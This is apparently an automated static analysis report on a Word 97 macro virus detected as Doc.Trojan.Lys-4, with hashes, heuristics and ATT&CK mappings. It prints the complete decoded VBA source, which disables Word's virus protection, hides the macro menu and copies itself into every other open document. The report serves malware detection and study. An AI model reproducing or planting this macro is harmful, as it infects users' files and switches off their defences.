Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f4f6a7c578fbbca…

MALICIOUS

Office (OLE)

41.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: f385760114fa23a5a7a3a3229e3a6321 SHA-1: 780356b591ac6784a5f30364107d1eee1769f0ef SHA-256: 5f4f6a7c578fbbca19560275d1a7a5fb9d14383e2200825f6f18afa91b2a5778
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic 'Doc.Trojan.Lys-4' indicates malicious intent. The Document_Open VBA macro is designed to export its own code to 'C:\windows\chantal.4ever' and then attempt to inject it into another document, likely to spread or maintain persistence. This behavior is characteristic of macro-based malware.

Heuristics 3

  • ClamAV: Doc.Trojan.Lys-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lys-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1143 bytes
SHA-256: 59c135bfc9569f4a52e8c5105d04309740b3cec046d5c3f00cc049f5a1e5585f
Detection
ClamAV: Doc.Trojan.Lys-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.ScreenUpdating = False: Application.EnableCancelKey = wdCancelDisabled: Options.VirusProtection = False: Options.ConfirmConversions = False
CommandBars("Tools").Controls("Macro").Visible = False
ActiveDocument.VBProject.VBComponents.Item(1).Export ("C:\windows\chantal.4ever")
Application.RecentFiles.Item(2).Open
For Z = 1 To Documents.Count
If Documents.Item(Z).FullName <> MacroContainer.FullName Then
With Documents.Item(Z)
.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("C:\windows\chantal.4ever")
.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, 4
.Save: .Close: End With: End If: Next
Application.ScreenUpdating = True: Application.EnableCancelKey = wdCancelInterrupt
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.